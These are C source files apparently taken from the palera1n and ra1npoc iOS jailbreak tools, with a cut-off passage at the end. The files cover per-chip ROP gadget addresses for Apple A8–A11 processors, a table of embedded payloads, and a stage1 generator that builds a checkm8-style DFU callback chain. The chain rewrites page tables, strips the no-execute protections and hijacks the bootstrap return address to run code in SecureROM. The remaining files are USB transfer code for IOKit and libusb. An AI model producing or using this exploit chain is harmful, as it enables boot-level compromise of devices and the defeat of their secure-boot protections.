config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A8X:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x100010df4;
config->write_prim = 0x10000ed5c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
case A8:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000ddf4;
config->write_prim = 0x10000bc2c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
default:
LOG_ERROR("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
}
return foundMatchingConfiguration;
}
static const yolo_payload_t yolo_payloads[] = {
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
{A9X, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len},
{A9, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len},
{A8X, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len},
{A8, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len},
};
bool create_pongo_payload_for_device(
uint16_t cpid,
const uint8_t **payload,
size_t *payloadSize)
{
LOG_DEBUG("Preparing YoloDFU payload for CPID 0x%x", cpid);
*payload = NULL;
*payloadSize = 0;
size_t count = sizeof(yolo_payloads) / sizeof(yolo_payloads[0]);
for (size_t i = 0; i < count; i++) {
if (yolo_payloads[i].cpid == cpid) {
*payload = yolo_payloads[i].data;
*payloadSize = yolo_payloads[i].len;
return true;
}
}
LOG("Failed to prepare payload for device with CPID 0x%x", cpid);
return false;
}
+62
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <shim.h>
#include <stdlib.h>
#include <string.h>
#ifdef __APPLE__
# include <usb_iokit.h>
#else
# include <usb_libusb.h>
#endif
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len) {
transfer_ret_t result;
void *p_data;
if(w_len == 0) {
return send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
result = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len);
free(p_data);
}
return result;
}
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout) {
transfer_ret_t result;
void *p_data;
if(w_len == 0) {
return send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
result = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout);
free(p_data);
}
return result;
}
+250
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/*
* ra1npoc - https://github.com/kok3shidoll/ra1npoc
*
* Copyright (C) 2021 - 2023 kok3shidoll
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <stage1.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <payload.h>
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
) {
bool wnx = false;
uint64_t write_gadget = 0;
uint32_t write_val = 0;
uint64_t base_address = payloadConfig->insecure_memory_base;
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
{
wnx = true;
}
size_t presize = wnx == true ? 0x800 : 0xc0;
void *buf = malloc(presize);
uint32_t nextOffset = 0;
unsigned char* nextBuf = NULL;
dfu_callback_t* cb = (dfu_callback_t*)buf;
nextBuf = buf;
uint32_t current_size = 0;
int count = 0;
#define PUSH(end, func, arg0, arg1) \
{ \
count++; \
current_size = nextOffset + sizeof(dfu_callback_t); \
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
{ \
cb->callback = payloadConfig->func_gadget; \
if(count%3 == 0) \
nextOffset += 0x80; \
else \
nextOffset += 0x20; \
if(!end)cb->next = base_address + nextOffset; \
uint64_t* ptr = (uint64_t*)(cb); \
uint32_t* ptr32 = (uint32_t*)(cb); \
ptr[15] = func; \
if(func == payloadConfig->write_prim) \
{ \
ptr[14] = (uint64_t)(arg0 - 4); \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_prim2) \
{ \
ptr[14] = (uint64_t)arg0; \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_ttbr0) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
nextBuf = (unsigned char*)(buf + nextOffset); \
cb = (dfu_callback_t*)nextBuf; \
} \
else \
{ \
goto fail; \
} \
} \
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
{
write_gadget = payloadConfig->write_prim;
}
else
{
write_gadget = payloadConfig->write_prim2;
}
uint64_t vrom_address = 0x100000000;
uint64_t sram_address = 0x180000000;
uint64_t new_va = 0x142000000; // post-exploit
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t sram_rx_va = 0x140000000; // execute payload
uint64_t sram_rw_va = 0x142000000; // custom ttbr
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t vrom_rw_va = 0x144000000;
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
if(wnx) // only A9X-A11
{
// VROM: 0x100000000
uint64_t vrom_bit = vrom_address | 0x6a5;
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
// Newp: 0x142000000
uint64_t new_bit = sram_address | 0x621; // pa
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit |= (1uL << 53); // PXN
new_bit |= (1uL << 54); // XN
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
// Newp: 0x144000000
uint64_t new_bit_2 = sram_address | 0x621; // pa
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit_2 |= (1uL << 53); // PXN
new_bit_2 |= (1uL << 54); // XN
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
// SRAM: 0x180000000
uint64_t sram_bit = sram_address | 0x3;
sram_bit |= (1uL << 63); // NS
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
}
if(wnx)
{
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
}
else
{
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
}
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
if(wnx) // only A9X-A11
{
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
}
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
if(wnx) // only A9X-A11
{
uint64_t sram_rx_bit = sram_address | 0x6a5;
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
uint64_t sram_rw_bit = sram_address | 0x621;
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
sram_rw_bit |= (1uL << 53); // PXN
sram_rw_bit |= (1uL << 54); // XN
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
uint64_t vrom_rw_bit = vrom_address | 0x621;
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
vrom_rw_bit |= (1uL << 53); // PXN
vrom_rw_bit |= (1uL << 54); // XN
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
}
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
*outbuf = malloc(*outlen);
memset(*outbuf, 0x0, *outlen);
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
if(buf) free(buf);
return true;
fail:
if(buf) free(buf);
return false;
}
+342
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@@ -0,0 +1,342 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifdef __APPLE__
#include <usb_iokit.h>
#include <stdbool.h>
#include <CommonCrypto/CommonCrypto.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOCFPlugIn.h>
#include <IOKit/usb/IOUSBLib.h>
#include <utils.h>
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
if(cf_val != NULL) {
CFDictionarySetValue(dict, key, cf_val);
CFRelease(cf_val);
}
}
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
IOCFPlugInInterface **plugin_interface;
SInt32 score;
bool ret = false;
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
IODestroyPlugInInterface(plugin_interface);
}
IOObjectRelease(serv);
return ret;
}
static bool open_usb_interface(usb_handle_t *handle) {
IOUSBFindInterfaceRequest req;
io_iterator_t iter;
io_service_t intfServ;
IOReturn kr;
req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
if(kr != kIOReturnSuccess) return false;
while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
IOCFPlugInInterface **plugin = NULL;
IOUSBInterfaceInterface245 **intf = NULL;
SInt32 score = 0;
HRESULT res;
kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
IOObjectRelease(intfServ);
if(kr != kIOReturnSuccess || !plugin) continue;
res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
(*plugin)->Release(plugin);
if(res != S_OK || !intf) continue;
kr = (*intf)->USBInterfaceOpen(intf);
if(kr != kIOReturnSuccess) {
(*intf)->Release(intf);
continue;
}
handle->interface = intf;
IOObjectRelease(iter);
return true;
}
IOObjectRelease(iter);
return false;
}
void close_usb_handle(usb_handle_t *handle) {
if(handle->async_event_source) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
CFRelease(handle->async_event_source);
handle->async_event_source = NULL;
}
if(handle->interface) {
(*handle->interface)->USBInterfaceClose(handle->interface);
(*handle->interface)->Release(handle->interface);
handle->interface = NULL;
}
if(handle->device) {
(*handle->device)->USBDeviceClose(handle->device);
(*handle->device)->Release(handle->device);
handle->device = NULL;
}
}
bool open_usb_device(io_service_t serv, usb_handle_t *handle)
{
if (!query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) return false;
IOReturn kr;
for (int i = 0; i < 10; i++) {
kr = (*handle->device)->USBDeviceOpenSeize(handle->device);
if (kr == kIOReturnSuccess) break;
if (kr != kIOReturnExclusiveAccess) goto fail;
usleep(100000);
}
if (kr != kIOReturnSuccess) goto fail;
kr = (*handle->device)->SetConfiguration(handle->device, 1);
if (kr != kIOReturnSuccess && kr != kIOReturnExclusiveAccess) goto fail;
kr = (*handle->device)->CreateDeviceAsyncEventSource(
handle->device,
&handle->async_event_source
);
if (kr != kIOReturnSuccess) goto fail;
CFRunLoopAddSource(
CFRunLoopGetCurrent(),
handle->async_event_source,
kCFRunLoopDefaultMode
);
if (!open_usb_interface(handle)) goto fail;
return true;
fail:
close_usb_handle(handle);
return false;
}
bool wait_usb_handle(usb_handle_t *handle) {
CFMutableDictionaryRef matching_dict;
io_iterator_t iter;
io_service_t serv;
matching_dict = IOServiceMatching(kUSBDeviceClassName);
if (matching_dict == NULL) {
return false;
}
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
if (IOServiceGetMatchingServices(0, matching_dict, &iter) != kIOReturnSuccess) {
return false;
}
while ((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
if (open_usb_device(serv, handle)) {
IOObjectRelease(iter);
return true;
}
}
IOObjectRelease(iter);
return false;
}
void reset_usb_handle(usb_handle_t *handle) {
if(handle->device) {
(*handle->device)->ResetDevice(handle->device);
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
}
}
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
transfer_ret_t result;
if(!handle || !handle->interface) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
IOUSBDevRequestTO req = {
.wLenDone = 0,
.pData = p_data,
.bRequest = b_request,
.bmRequestType = bm_request_type,
.wLength = OSSwapLittleToHostInt16(w_len),
.wValue = OSSwapLittleToHostInt16(w_value),
.wIndex = OSSwapLittleToHostInt16(w_index),
.completionTimeout = USB_TIMEOUT,
.noDataTimeout = USB_TIMEOUT,
};
IOReturn ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
if(ret == kIOReturnSuccess) {
result.sz = req.wLenDone;
result.ret = USB_TRANSFER_OK;
} else if(ret == kUSBPipeStalled) {
result.ret = USB_TRANSFER_STALL;
} else {
result.ret = USB_TRANSFER_ERROR;
}
return result;
}
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
transfer_ret_t *transfer_ret = refcon;
if(transfer_ret != NULL) {
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
if(ret == kIOReturnSuccess) {
transfer_ret->ret = USB_TRANSFER_OK;
} else if(ret == kUSBPipeStalled) {
transfer_ret->ret = USB_TRANSFER_STALL;
} else {
transfer_ret->ret = USB_TRANSFER_ERROR;
}
}
CFRunLoopStop(CFRunLoopGetCurrent());
}
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
transfer_ret_t result;
if(!handle || !handle->interface) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
IOUSBDevRequestTO req = {
.wLenDone = 0,
.pData = p_data,
.bRequest = b_request,
.bmRequestType = bm_request_type,
.wLength = OSSwapLittleToHostInt16(w_len),
.wValue = OSSwapLittleToHostInt16(w_value),
.wIndex = OSSwapLittleToHostInt16(w_index),
.completionTimeout = USB_TIMEOUT,
.noDataTimeout = USB_TIMEOUT,
};
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, &result) == kIOReturnSuccess) {
sleep_ms(usb_abort_timeout);
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
CFRunLoopRun();
return result;
}
}
return result;
}
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
transfer_ret_t result;
if(!handle || !handle->interface) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
IOUSBDevRequest req = {
.bmRequestType = bm_request_type,
.bRequest = b_request,
.wValue = w_value,
.wIndex = w_index,
.wLength = (UInt16)w_len,
.pData = p_data,
};
IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
result.sz = req.wLenDone;
return result;
}
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
transfer_ret_t result;
if(!handle || !handle->interface) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
result.ret = (ret == kIOReturnSuccess) ? USB_TRANSFER_OK : USB_TRANSFER_ERROR;
result.sz = len;
return result;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid)
{
handle->vid = vid;
handle->pid = pid;
handle->serv = IO_OBJECT_NULL;
handle->device = NULL;
handle->interface = NULL;
handle->async_event_source = NULL;
}
#endif
+277
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/*
* palera1n - https://palera.in
*
* Copyright (C) 2023 0x7ff
* Copyright (C) 2023 Mineek
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __APPLE__
#include <usb_libusb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <libusb-1.0/libusb.h>
#include <utils.h>
void close_usb_handle(usb_handle_t *handle) {
#if _WIN32
libusb_release_interface(handle->device, 0);
#endif
libusb_close(handle->device);
libusb_exit(NULL);
}
void reset_usb_handle(const usb_handle_t *handle) {
libusb_reset_device(handle->device);
}
bool wait_usb_handle(usb_handle_t *handle) {
if (libusb_init(NULL) != LIBUSB_SUCCESS) {
return false;
}
handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid);
if (handle->device == NULL) {
return false;
}
#if _WIN32
libusb_set_auto_detach_kernel_driver(handle->device, 1);
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY) {
if (libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
return true;
}
}
#else
if (libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
return true;
}
#endif
libusb_close(handle->device);
return false;
}
void usb_async_cb(struct libusb_transfer *transfer) {
*(int *)transfer->user_data = 1;
}
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len) {
transfer_ret_t result;
if(!handle || !handle->device) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
if(ret >= 0) {
result.sz = (uint32_t)ret;
result.ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
result.ret = USB_TRANSFER_STALL;
result.sz = 0;
} else {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
}
return result;
}
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout) {
transfer_ret_t result;
if(!handle || !handle->device) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
struct timeval tv;
int completed = 0;
uint8_t *buf;
if(transfer != NULL) {
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
}
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
tv.tv_sec = usb_abort_timeout / 1000;
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
libusb_cancel_transfer(transfer);
}
if(completed != 0) {
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
}
result.sz = (uint32_t)transfer->actual_length;
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
result.ret = USB_TRANSFER_OK;
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
result.ret = USB_TRANSFER_STALL;
} else {
result.ret = USB_TRANSFER_ERROR;
}
}
}
free(buf);
}
libusb_free_transfer(transfer);
}
if(completed == 0) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
}
return result;
}
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len)
{
transfer_ret_t result;
if(!handle || !handle->device) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
if(ret >= 0) {
result.sz = (uint32_t)ret;
result.ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
result.ret = USB_TRANSFER_STALL;
result.sz = 0;
} else {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
}
return result;
}
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
{
transfer_ret_t result;
if(!handle || !handle->device) {
result.ret = USB_TRANSFER_ERROR;
result.sz = 0;
return result;
}
static uint32_t maxLen = 0;
int transferred = 0;
int ret;
if(maxLen == 0)
{
ret = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
if(ret == LIBUSB_SUCCESS)
{
result.ret = USB_TRANSFER_OK;
result.sz = transferred;
return result;
}
else if(ret != LIBUSB_ERROR_NO_MEM)
{
result.ret = USB_TRANSFER_ERROR;
result.sz = transferred;
return result;
}
#if defined(__linux__)
// We only get here on ENOMEM
FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
if(f)
{
char str[32]; // More than enough to hold a uint64 in decimal
size_t s = fread(str, 1, sizeof(str), f);
fclose(f);
if(s == 0 || s >= sizeof(str)) {
result.ret = USB_TRANSFER_ERROR;
result.sz = transferred;
return result;
}
str[s] = '\0';
char *end = NULL;
unsigned long long max = strtoull(str, &end, 0);
// Using the limit as-is will lead to ENOMEM, so we multiply
